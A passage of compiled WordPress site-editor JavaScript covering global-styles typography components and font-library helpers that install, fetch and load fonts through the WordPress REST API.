11808 inheritedValue: inheritedStyleWithLayout,
11809 value: styleWithLayout,
11810 onChange: setStyle,
11811 settings,
11812 includeLayoutControls: true
11813 }
11814 ),
11815 hasImageSettingsPanel && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11816 ImageSettingsPanel,
11817 {
11818 onChange: onChangeLightbox,
11819 value: userSettings,
11820 inheritedValue: settings
11821 }
11822 ),
11823 canEditCSS && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, { title: (0,external_wp_i18n_namespaceObject.__)("Advanced"), initialOpen: false, children: [
11824 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.sprintf)(
11825 // translators: %s: is the name of a block e.g., 'Image' or 'Table'.
11826 (0,external_wp_i18n_namespaceObject.__)(
11827 "Add your own CSS to customize the appearance of the %s block. You do not need to include a CSS selector, just add the property and value."
11828 ),
11829 blockType?.title
11830 ) }),
11831 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11832 StylesAdvancedPanel,
11833 {
11834 value: style,
11835 onChange: setStyle,
11836 inheritedValue: inheritedStyle
11837 }
11838 )
11839 ] })
11840 ] });
11841}
11842var screen_block_default = ScreenBlock;
11843
11844
11845;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-elements.js
11846
11847
11848
11849
11850
11851
11852
11853const { useGlobalStyle: typography_elements_useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
11854function ElementItem({ parentMenu, element, label }) {
11855 const prefix = element === "text" || !element ? "" : `elements.${element}.`;
11856 const extraStyles = element === "link" ? {
11857 textDecoration: "underline"
11858 } : {};
11859 const [fontFamily] = typography_elements_useGlobalStyle(prefix + "typography.fontFamily");
11860 const [fontStyle] = typography_elements_useGlobalStyle(prefix + "typography.fontStyle");
11861 const [fontWeight] = typography_elements_useGlobalStyle(prefix + "typography.fontWeight");
11862 const [backgroundColor] = typography_elements_useGlobalStyle(prefix + "color.background");
11863 const [fallbackBackgroundColor] = typography_elements_useGlobalStyle("color.background");
11864 const [gradientValue] = typography_elements_useGlobalStyle(prefix + "color.gradient");
11865 const [color] = typography_elements_useGlobalStyle(prefix + "color.text");
11866 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, { path: parentMenu + "/typography/" + element, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "flex-start", children: [
11867 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11868 external_wp_components_namespaceObject.FlexItem,
11869 {
11870 className: "edit-site-global-styles-screen-typography__indicator",
11871 style: {
11872 fontFamily: fontFamily ?? "serif",
11873 background: gradientValue ?? backgroundColor ?? fallbackBackgroundColor,
11874 color,
11875 fontStyle,
11876 fontWeight,
11877 ...extraStyles
11878 },
11879 "aria-hidden": "true",
11880 children: (0,external_wp_i18n_namespaceObject.__)("Aa")
11881 }
11882 ),
11883 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: label })
11884 ] }) });
11885}
11886function TypographyElements() {
11887 const parentMenu = "";
11888 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, children: [
11889 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle_default, { level: 3, children: (0,external_wp_i18n_namespaceObject.__)("Elements") }),
11890 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalItemGroup, { isBordered: true, isSeparated: true, children: [
11891 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11892 ElementItem,
11893 {
11894 parentMenu,
11895 element: "text",
11896 label: (0,external_wp_i18n_namespaceObject.__)("Text")
11897 }
11898 ),
11899 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11900 ElementItem,
11901 {
11902 parentMenu,
11903 element: "link",
11904 label: (0,external_wp_i18n_namespaceObject.__)("Links")
11905 }
11906 ),
11907 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11908 ElementItem,
11909 {
11910 parentMenu,
11911 element: "heading",
11912 label: (0,external_wp_i18n_namespaceObject.__)("Headings")
11913 }
11914 ),
11915 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11916 ElementItem,
11917 {
11918 parentMenu,
11919 element: "caption",
11920 label: (0,external_wp_i18n_namespaceObject.__)("Captions")
11921 }
11922 ),
11923 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11924 ElementItem,
11925 {
11926 parentMenu,
11927 element: "button",
11928 label: (0,external_wp_i18n_namespaceObject.__)("Buttons")
11929 }
11930 )
11931 ] })
11932 ] });
11933}
11934var typography_elements_default = TypographyElements;
11935
11936
11937;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/preview-typography.js
11938
11939
11940
11941
11942const StylesPreviewTypography = ({ variation, isFocused, withHoverView }) => {
11943 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11944 PreviewWrapper,
11945 {
11946 label: variation.title,
11947 isFocused,
11948 withHoverView,
11949 children: ({ ratio, key }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11950 external_wp_components_namespaceObject.__experimentalHStack,
11951 {
11952 spacing: 10 * ratio,
11953 justify: "center",
11954 style: {
11955 height: "100%",
11956 overflow: "hidden"
11957 },
11958 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
11959 PreviewTypography,
11960 {
11961 variation,
11962 fontSize: 85 * ratio
11963 }
11964 )
11965 },
11966 key
11967 )
11968 }
11969 );
11970};
11971var preview_typography_default = StylesPreviewTypography;
11972
11973
11974;// ./node_modules/@wordpress/edit-site/build-module/hooks/use-theme-style-variations/use-theme-style-variations-by-property.js
11975
11976
11977
11978
11979
11980
11981
11982const use_theme_style_variations_by_property_EMPTY_ARRAY = [];
11983const { GlobalStylesContext: use_theme_style_variations_by_property_GlobalStylesContext, areGlobalStyleConfigsEqual } = unlock(
11984 external_wp_blockEditor_namespaceObject.privateApis
11985);
11986const { mergeBaseAndUserConfigs: use_theme_style_variations_by_property_mergeBaseAndUserConfigs } = unlock(external_wp_editor_namespaceObject.privateApis);
11987function removePropertiesFromObject(object, properties) {
11988 if (!properties?.length) {
11989 return object;
11990 }
11991 if (typeof object !== "object" || !object || !Object.keys(object).length) {
11992 return object;
11993 }
11994 for (const key in object) {
11995 if (properties.includes(key)) {
11996 delete object[key];
11997 } else if (typeof object[key] === "object") {
11998 removePropertiesFromObject(object[key], properties);
11999 }
12000 }
12001 return object;
12002}
12003function hasThemeVariation({ title, settings, styles }) {
12004 return title === (0,external_wp_i18n_namespaceObject.__)("Default") || // Always preserve the default variation.
12005 Object.keys(settings).length > 0 || Object.keys(styles).length > 0;
12006}
12007function useCurrentMergeThemeStyleVariationsWithUserConfig(properties = []) {
12008 const { variationsFromTheme } = (0,external_wp_data_.useSelect)((select) => {
12009 const _variationsFromTheme = select(
12010 external_wp_coreData_namespaceObject.store
12011 ).__experimentalGetCurrentThemeGlobalStylesVariations();
12012 return {
12013 variationsFromTheme: _variationsFromTheme || use_theme_style_variations_by_property_EMPTY_ARRAY
12014 };
12015 }, []);
12016 const { user: userVariation } = (0,external_wp_element_.useContext)(use_theme_style_variations_by_property_GlobalStylesContext);
12017 const propertiesAsString = properties.toString();
12018 return (0,external_wp_element_.useMemo)(() => {
12019 const clonedUserVariation = structuredClone(userVariation);
12020 const userVariationWithoutProperties = removePropertiesFromObject(
12021 clonedUserVariation,
12022 properties
12023 );
12024 userVariationWithoutProperties.title = (0,external_wp_i18n_namespaceObject.__)("Default");
12025 const variationsWithPropertiesAndBase = variationsFromTheme.filter((variation) => {
12026 return isVariationWithProperties(variation, properties);
12027 }).map((variation) => {
12028 return use_theme_style_variations_by_property_mergeBaseAndUserConfigs(
12029 userVariationWithoutProperties,
12030 variation
12031 );
12032 });
12033 const variationsByProperties = [
12034 userVariationWithoutProperties,
12035 ...variationsWithPropertiesAndBase
12036 ];
12037 return variationsByProperties?.length ? variationsByProperties.filter(hasThemeVariation) : [];
12038 }, [propertiesAsString, userVariation, variationsFromTheme]);
12039}
12040const filterObjectByProperties = (object, properties) => {
12041 if (!object || !properties?.length) {
12042 return {};
12043 }
12044 const newObject = {};
12045 Object.keys(object).forEach((key) => {
12046 if (properties.includes(key)) {
12047 newObject[key] = object[key];
12048 } else if (typeof object[key] === "object") {
12049 const newFilter = filterObjectByProperties(
12050 object[key],
12051 properties
12052 );
12053 if (Object.keys(newFilter).length) {
12054 newObject[key] = newFilter;
12055 }
12056 }
12057 });
12058 return newObject;
12059};
12060function isVariationWithProperties(variation, properties) {
12061 const variationWithProperties = filterObjectByProperties(
12062 structuredClone(variation),
12063 properties
12064 );
12065 return areGlobalStyleConfigsEqual(variationWithProperties, variation);
12066}
12067
12068
12069;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variation.js
12070
12071
12072
12073
12074
12075
12076
12077
12078
12079
12080const { mergeBaseAndUserConfigs: variation_mergeBaseAndUserConfigs } = unlock(external_wp_editor_namespaceObject.privateApis);
12081const { GlobalStylesContext: variation_GlobalStylesContext, areGlobalStyleConfigsEqual: variation_areGlobalStyleConfigsEqual } = unlock(
12082 external_wp_blockEditor_namespaceObject.privateApis
12083);
12084function Variation({
12085 variation,
12086 children,
12087 isPill,
12088 properties,
12089 showTooltip
12090}) {
12091 const [isFocused, setIsFocused] = (0,external_wp_element_.useState)(false);
12092 const { base, user, setUserConfig } = (0,external_wp_element_.useContext)(variation_GlobalStylesContext);
12093 const context = (0,external_wp_element_.useMemo)(() => {
12094 let merged = variation_mergeBaseAndUserConfigs(base, variation);
12095 if (properties) {
12096 merged = filterObjectByProperties(merged, properties);
12097 }
12098 return {
12099 user: variation,
12100 base,
12101 merged,
12102 setUserConfig: () => {
12103 }
12104 };
12105 }, [variation, base, properties]);
12106 const selectVariation = () => setUserConfig(variation);
12107 const selectOnEnter = (event) => {
12108 if (event.keyCode === external_wp_keycodes_namespaceObject.ENTER) {
12109 event.preventDefault();
12110 selectVariation();
12111 }
12112 };
12113 const isActive = (0,external_wp_element_.useMemo)(
12114 () => variation_areGlobalStyleConfigsEqual(user, variation),
12115 [user, variation]
12116 );
12117 let label = variation?.title;
12118 if (variation?.description) {
12119 label = (0,external_wp_i18n_namespaceObject.sprintf)(
12120 /* translators: 1: variation title. 2: variation description. */
12121 (0,external_wp_i18n_namespaceObject._x)("%1$s (%2$s)", "variation label"),
12122 variation?.title,
12123 variation?.description
12124 );
12125 }
12126 const content = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12127 "div",
12128 {
12129 className: dist_clsx("edit-site-global-styles-variations_item", {
12130 "is-active": isActive
12131 }),
12132 role: "button",
12133 onClick: selectVariation,
12134 onKeyDown: selectOnEnter,
12135 tabIndex: "0",
12136 "aria-label": label,
12137 "aria-current": isActive,
12138 onFocus: () => setIsFocused(true),
12139 onBlur: () => setIsFocused(false),
12140 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12141 "div",
12142 {
12143 className: dist_clsx(
12144 "edit-site-global-styles-variations_item-preview",
12145 { "is-pill": isPill }
12146 ),
12147 children: children(isFocused)
12148 }
12149 )
12150 }
12151 );
12152 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(variation_GlobalStylesContext.Provider, { value: context, children: showTooltip ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Tooltip, { text: variation?.title, children: content }) : content });
12153}
12154
12155
12156;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/variations/variations-typography.js
12157
12158
12159
12160
12161
12162
12163function TypographyVariations({ title, gap = 2 }) {
12164 const propertiesToFilter = ["typography"];
12165 const typographyVariations = useCurrentMergeThemeStyleVariationsWithUserConfig(propertiesToFilter);
12166 if (typographyVariations?.length <= 1) {
12167 return null;
12168 }
12169 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 3, children: [
12170 title && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle_default, { level: 3, children: title }),
12171 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12172 external_wp_components_namespaceObject.__experimentalGrid,
12173 {
12174 columns: 3,
12175 gap,
12176 className: "edit-site-global-styles-style-variations-container",
12177 children: typographyVariations.map((variation, index) => {
12178 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12179 Variation,
12180 {
12181 variation,
12182 properties: propertiesToFilter,
12183 showTooltip: true,
12184 children: () => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12185 preview_typography_default,
12186 {
12187 variation
12188 }
12189 )
12190 },
12191 index
12192 );
12193 })
12194 }
12195 )
12196 ] });
12197}
12198
12199
12200;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-sizes-count.js
12201
12202
12203
12204
12205
12206
12207function FontSizes() {
12208 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 2, children: [
12209 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "space-between", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle_default, { level: 3, children: (0,external_wp_i18n_namespaceObject.__)("Font Sizes") }) }),
12210 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { isBordered: true, isSeparated: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NavigationButtonAsItem, { path: "/typography/font-sizes", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { direction: "row", children: [
12211 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: (0,external_wp_i18n_namespaceObject.__)("Font size presets") }),
12212 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default })
12213 ] }) }) })
12214 ] });
12215}
12216var font_sizes_count_default = FontSizes;
12217
12218
12219;// ./node_modules/@wordpress/icons/build-module/library/settings.js
12220
12221
12222var settings_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
12223 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m19 7.5h-7.628c-.3089-.87389-1.1423-1.5-2.122-1.5-.97966 0-1.81309.62611-2.12197 1.5h-2.12803v1.5h2.12803c.30888.87389 1.14231 1.5 2.12197 1.5.9797 0 1.8131-.62611 2.122-1.5h7.628z" }),
12224 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "m19 15h-2.128c-.3089-.8739-1.1423-1.5-2.122-1.5s-1.8131.6261-2.122 1.5h-7.628v1.5h7.628c.3089.8739 1.1423 1.5 2.122 1.5s1.8131-.6261 2.122-1.5h2.128z" })
12225] });
12226
12227
12228;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/resolvers.js
12229
12230const FONT_FAMILIES_URL = "/wp/v2/font-families";
12231const FONT_COLLECTIONS_URL = "/wp/v2/font-collections";
12232async function fetchInstallFontFamily(data) {
12233 const config = {
12234 path: FONT_FAMILIES_URL,
12235 method: "POST",
12236 body: data
12237 };
12238 const response = await external_wp_apiFetch_default()(config);
12239 return {
12240 id: response.id,
12241 ...response.font_family_settings,
12242 fontFace: []
12243 };
12244}
12245async function fetchInstallFontFace(fontFamilyId, data) {
12246 const config = {
12247 path: `${FONT_FAMILIES_URL}/${fontFamilyId}/font-faces`,
12248 method: "POST",
12249 body: data
12250 };
12251 const response = await external_wp_apiFetch_default()(config);
12252 return {
12253 id: response.id,
12254 ...response.font_face_settings
12255 };
12256}
12257async function fetchGetFontFamilyBySlug(slug) {
12258 const config = {
12259 path: `${FONT_FAMILIES_URL}?slug=${slug}&_embed=true`,
12260 method: "GET"
12261 };
12262 const response = await external_wp_apiFetch_default()(config);
12263 if (!response || response.length === 0) {
12264 return null;
12265 }
12266 const fontFamilyPost = response[0];
12267 return {
12268 id: fontFamilyPost.id,
12269 ...fontFamilyPost.font_family_settings,
12270 fontFace: fontFamilyPost?._embedded?.font_faces.map(
12271 (face) => face.font_face_settings
12272 ) || []
12273 };
12274}
12275async function fetchUninstallFontFamily(fontFamilyId) {
12276 const config = {
12277 path: `${FONT_FAMILIES_URL}/${fontFamilyId}?force=true`,
12278 method: "DELETE"
12279 };
12280 return await external_wp_apiFetch_default()(config);
12281}
12282async function fetchFontCollections() {
12283 const config = {
12284 path: `${FONT_COLLECTIONS_URL}?_fields=slug,name,description`,
12285 method: "GET"
12286 };
12287 return await external_wp_apiFetch_default()(config);
12288}
12289async function fetchFontCollection(id) {
12290 const config = {
12291 path: `${FONT_COLLECTIONS_URL}/${id}`,
12292 method: "GET"
12293 };
12294 return await external_wp_apiFetch_default()(config);
12295}
12296
12297
12298;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/constants.js
12299
12300const ALLOWED_FILE_EXTENSIONS = ["otf", "ttf", "woff", "woff2"];
12301const FONT_WEIGHTS = {
12302 100: (0,external_wp_i18n_namespaceObject._x)("Thin", "font weight"),
12303 200: (0,external_wp_i18n_namespaceObject._x)("Extra-light", "font weight"),
12304 300: (0,external_wp_i18n_namespaceObject._x)("Light", "font weight"),
12305 400: (0,external_wp_i18n_namespaceObject._x)("Normal", "font weight"),
12306 500: (0,external_wp_i18n_namespaceObject._x)("Medium", "font weight"),
12307 600: (0,external_wp_i18n_namespaceObject._x)("Semi-bold", "font weight"),
12308 700: (0,external_wp_i18n_namespaceObject._x)("Bold", "font weight"),
12309 800: (0,external_wp_i18n_namespaceObject._x)("Extra-bold", "font weight"),
12310 900: (0,external_wp_i18n_namespaceObject._x)("Black", "font weight")
12311};
12312const FONT_STYLES = {
12313 normal: (0,external_wp_i18n_namespaceObject._x)("Normal", "font style"),
12314 italic: (0,external_wp_i18n_namespaceObject._x)("Italic", "font style")
12315};
12316
12317
12318;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/index.js
12319
12320
12321
12322
12323
12324const { File } = window;
12325const { kebabCase } = unlock(external_wp_components_namespaceObject.privateApis);
12326function setUIValuesNeeded(font, extraValues = {}) {
12327 if (!font.name && (font.fontFamily || font.slug)) {
12328 font.name = font.fontFamily || font.slug;
12329 }
12330 return {
12331 ...font,
12332 ...extraValues
12333 };
12334}
12335function isUrlEncoded(url) {
12336 if (typeof url !== "string") {
12337 return false;
12338 }
12339 return url !== decodeURIComponent(url);
12340}
12341function getFontFaceVariantName(face) {
12342 const weightName = FONT_WEIGHTS[face.fontWeight] || face.fontWeight;
12343 const styleName = face.fontStyle === "normal" ? "" : FONT_STYLES[face.fontStyle] || face.fontStyle;
12344 return `${weightName} ${styleName}`;
12345}
12346function mergeFontFaces(existing = [], incoming = []) {
12347 const map = /* @__PURE__ */ new Map();
12348 for (const face of existing) {
12349 map.set(`${face.fontWeight}${face.fontStyle}`, face);
12350 }
12351 for (const face of incoming) {
12352 map.set(`${face.fontWeight}${face.fontStyle}`, face);
12353 }
12354 return Array.from(map.values());
12355}
12356function mergeFontFamilies(existing = [], incoming = []) {
12357 const map = /* @__PURE__ */ new Map();
12358 for (const font of existing) {
12359 map.set(font.slug, { ...font });
12360 }
12361 for (const font of incoming) {
12362 if (map.has(font.slug)) {
12363 const { fontFace: incomingFontFaces, ...restIncoming } = font;
12364 const existingFont = map.get(font.slug);
12365 const mergedFontFaces = mergeFontFaces(
12366 existingFont.fontFace,
12367 incomingFontFaces
12368 );
12369 map.set(font.slug, {
12370 ...restIncoming,
12371 fontFace: mergedFontFaces
12372 });
12373 } else {
12374 map.set(font.slug, { ...font });
12375 }
12376 }
12377 return Array.from(map.values());
12378}
12379async function loadFontFaceInBrowser(fontFace, source, addTo = "all") {
12380 let dataSource;
12381 if (typeof source === "string") {
12382 dataSource = `url(${source})`;
12383 } else if (source instanceof File) {
12384 dataSource = await source.arrayBuffer();
12385 } else {
12386 return;
12387 }
12388 const newFont = new window.FontFace(
12389 formatFontFaceName(fontFace.fontFamily),
12390 dataSource,
12391 {
12392 style: fontFace.fontStyle,
12393 weight: fontFace.fontWeight
12394 }
12395 );
12396 const loadedFace = await newFont.load();
12397 if (addTo === "document" || addTo === "all") {
12398 document.fonts.add(loadedFace);
12399 }
12400 if (addTo === "iframe" || addTo === "all") {
12401 const iframeDocument = document.querySelector(
12402 'iframe[name="editor-canvas"]'
12403 ).contentDocument;
12404 iframeDocument.fonts.add(loadedFace);
12405 }
12406}
12407function unloadFontFaceInBrowser(fontFace, removeFrom = "all") {
12408 const unloadFontFace = (fonts) => {
12409 fonts.forEach((f) => {
12410 if (f.family === formatFontFaceName(fontFace?.fontFamily) && f.weight === fontFace?.fontWeight && f.style === fontFace?.fontStyle) {
12411 fonts.delete(f);
12412 }
12413 });
12414 };
12415 if (removeFrom === "document" || removeFrom === "all") {
12416 unloadFontFace(document.fonts);
12417 }
12418 if (removeFrom === "iframe" || removeFrom === "all") {
12419 const iframeDocument = document.querySelector(
12420 'iframe[name="editor-canvas"]'
12421 ).contentDocument;
12422 unloadFontFace(iframeDocument.fonts);
12423 }
12424}
12425function getDisplaySrcFromFontFace(input) {
12426 if (!input) {
12427 return;
12428 }
12429 let src;
12430 if (Array.isArray(input)) {
12431 src = input[0];
12432 } else {
12433 src = input;
12434 }
12435 if (src.startsWith("file:.")) {
12436 return;
12437 }
12438 if (!isUrlEncoded(src)) {
12439 src = encodeURI(src);
12440 }
12441 return src;
12442}
12443function makeFontFamilyFormData(fontFamily) {
12444 const formData = new FormData();
12445 const { fontFace, category, ...familyWithValidParameters } = fontFamily;
12446 const fontFamilySettings = {
12447 ...familyWithValidParameters,
12448 slug: kebabCase(fontFamily.slug)
12449 };
12450 formData.append(
12451 "font_family_settings",
12452 JSON.stringify(fontFamilySettings)
12453 );
12454 return formData;
12455}
12456function makeFontFacesFormData(font) {
12457 if (font?.fontFace) {
12458 const fontFacesFormData = font.fontFace.map((item, faceIndex) => {
12459 const face = { ...item };
12460 const formData = new FormData();
12461 if (face.file) {
12462 const files = Array.isArray(face.file) ? face.file : [face.file];
12463 const src = [];
12464 files.forEach((file, key) => {
12465 const fileId = `file-${faceIndex}-${key}`;
12466 formData.append(fileId, file, file.name);
12467 src.push(fileId);
12468 });
12469 face.src = src.length === 1 ? src[0] : src;
12470 delete face.file;
12471 formData.append("font_face_settings", JSON.stringify(face));
12472 } else {
12473 formData.append("font_face_settings", JSON.stringify(face));
12474 }
12475 return formData;
12476 });
12477 return fontFacesFormData;
12478 }
12479}
12480async function batchInstallFontFaces(fontFamilyId, fontFacesData) {
12481 const responses = [];
12482 for (const faceData of fontFacesData) {
12483 try {
12484 const response = await fetchInstallFontFace(
12485 fontFamilyId,
12486 faceData
12487 );
12488 responses.push({ status: "fulfilled", value: response });
12489 } catch (error) {
12490 responses.push({ status: "rejected", reason: error });
12491 }
12492 }
12493 const results = {
12494 errors: [],
12495 successes: []
12496 };
12497 responses.forEach((result, index) => {
12498 if (result.status === "fulfilled") {
12499 const response = result.value;
12500 if (response.id) {
12501 results.successes.push(response);
12502 } else {
12503 results.errors.push({
12504 data: fontFacesData[index],
12505 message: `Error: ${response.message}`
12506 });
12507 }
12508 } else {
12509 results.errors.push({
12510 data: fontFacesData[index],
12511 message: result.reason.message
12512 });
12513 }
12514 });
12515 return results;
12516}
12517async function downloadFontFaceAssets(src) {
12518 src = Array.isArray(src) ? src : [src];
12519 const files = await Promise.all(
12520 src.map(async (url) => {
12521 return fetch(new Request(url)).then((response) => {
12522 if (!response.ok) {
12523 throw new Error(
12524 `Error downloading font face asset from ${url}. Server responded with status: ${response.status}`
12525 );
12526 }
12527 return response.blob();
12528 }).then((blob) => {
12529 const filename = url.split("/").pop();
12530 const file = new File([blob], filename, {
12531 type: blob.type
12532 });
12533 return file;
12534 });
12535 })
12536 );
12537 return files.length === 1 ? files[0] : files;
12538}
12539function checkFontFaceInstalled(fontFace, collection) {
12540 return -1 !== collection.findIndex((collectionFontFace) => {
12541 return collectionFontFace.fontWeight === fontFace.fontWeight && collectionFontFace.fontStyle === fontFace.fontStyle;
12542 });
12543}
12544
12545
12546;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/utils/toggleFont.js
12547function toggleFont(font, face, initialfonts) {
12548 const isFontActivated = (f) => f.slug === font.slug;
12549 const getActivatedFont = (fonts) => fonts.find(isFontActivated);
12550 const toggleEntireFontFamily = (activatedFont2) => {
12551 if (!activatedFont2) {
12552 return [...initialfonts, font];
12553 }
12554 return initialfonts.filter((f) => !isFontActivated(f));
12555 };
12556 const toggleFontVariant = (activatedFont2) => {
12557 const isFaceActivated = (f) => f.fontWeight === face.fontWeight && f.fontStyle === face.fontStyle;
12558 if (!activatedFont2) {
12559 return [...initialfonts, { ...font, fontFace: [face] }];
12560 }
12561 let newFontFaces = activatedFont2.fontFace || [];
12562 if (newFontFaces.find(isFaceActivated)) {
12563 newFontFaces = newFontFaces.filter(
12564 (f) => !isFaceActivated(f)
12565 );
12566 } else {
12567 newFontFaces = [...newFontFaces, face];
12568 }
12569 if (newFontFaces.length === 0) {
12570 return initialfonts.filter((f) => !isFontActivated(f));
12571 }
12572 return initialfonts.map(
12573 (f) => isFontActivated(f) ? { ...f, fontFace: newFontFaces } : f
12574 );
12575 };
12576 const activatedFont = getActivatedFont(initialfonts);
12577 if (!face) {
12578 return toggleEntireFontFamily(activatedFont);
12579 }
12580 return toggleFontVariant(activatedFont);
12581}
12582
12583
12584;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/context.js
12585
12586
12587
12588
12589
12590
12591
12592
12593const { useGlobalSetting: context_useGlobalSetting } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
12594
12595
12596
12597const FontLibraryContext = (0,external_wp_element_.createContext)({});
12598FontLibraryContext.displayName = "FontLibraryContext";
12599function FontLibraryProvider({ children }) {
12600 const { saveEntityRecord } = (0,external_wp_data_.useDispatch)(external_wp_coreData_namespaceObject.store);
12601 const { globalStylesId } = (0,external_wp_data_.useSelect)((select) => {
12602 const { __experimentalGetCurrentGlobalStylesId } = select(external_wp_coreData_namespaceObject.store);
12603 return { globalStylesId: __experimentalGetCurrentGlobalStylesId() };
12604 });
12605 const globalStyles = (0,external_wp_coreData_namespaceObject.useEntityRecord)(
12606 "root",
12607 "globalStyles",
12608 globalStylesId
12609 );
12610 const [isInstalling, setIsInstalling] = (0,external_wp_element_.useState)(false);
12611 const [refreshKey, setRefreshKey] = (0,external_wp_element_.useState)(0);
12612 const refreshLibrary = () => {
12613 setRefreshKey(Date.now());
12614 };
12615 const { records: libraryPosts = [], isResolving: isResolvingLibrary } = (0,external_wp_coreData_namespaceObject.useEntityRecords)("postType", "wp_font_family", {
12616 refreshKey,
12617 _embed: true
12618 });
12619 const libraryFonts = (libraryPosts || []).map((fontFamilyPost) => {
12620 return {
12621 id: fontFamilyPost.id,
12622 ...fontFamilyPost.font_family_settings,
12623 fontFace: fontFamilyPost?._embedded?.font_faces.map(
12624 (face) => face.font_face_settings
12625 ) || []
12626 };
12627 }) || [];
12628 const [fontFamilies, setFontFamilies] = context_useGlobalSetting(
12629 "typography.fontFamilies"
12630 );
12631 const saveFontFamilies = async (fonts) => {
12632 const updatedGlobalStyles = globalStyles.record;
12633 setNestedValue(
12634 updatedGlobalStyles,
12635 ["settings", "typography", "fontFamilies"],
12636 fonts
12637 );
12638 await saveEntityRecord("root", "globalStyles", updatedGlobalStyles);
12639 };
12640 const [modalTabOpen, setModalTabOpen] = (0,external_wp_element_.useState)(false);
12641 const [libraryFontSelected, setLibraryFontSelected] = (0,external_wp_element_.useState)(null);
12642 const themeFonts = fontFamilies?.theme ? fontFamilies.theme.map((f) => setUIValuesNeeded(f, { source: "theme" })).sort((a, b) => a.name.localeCompare(b.name)) : [];
12643 const customFonts = fontFamilies?.custom ? fontFamilies.custom.map((f) => setUIValuesNeeded(f, { source: "custom" })).sort((a, b) => a.name.localeCompare(b.name)) : [];
12644 const baseCustomFonts = libraryFonts ? libraryFonts.map((f) => setUIValuesNeeded(f, { source: "custom" })).sort((a, b) => a.name.localeCompare(b.name)) : [];
12645 (0,external_wp_element_.useEffect)(() => {
12646 if (!modalTabOpen) {
12647 setLibraryFontSelected(null);
12648 }
12649 }, [modalTabOpen]);
12650 const handleSetLibraryFontSelected = (font) => {
12651 if (!font) {
12652 setLibraryFontSelected(null);
12653 return;
12654 }
12655 const fonts = font.source === "theme" ? themeFonts : baseCustomFonts;
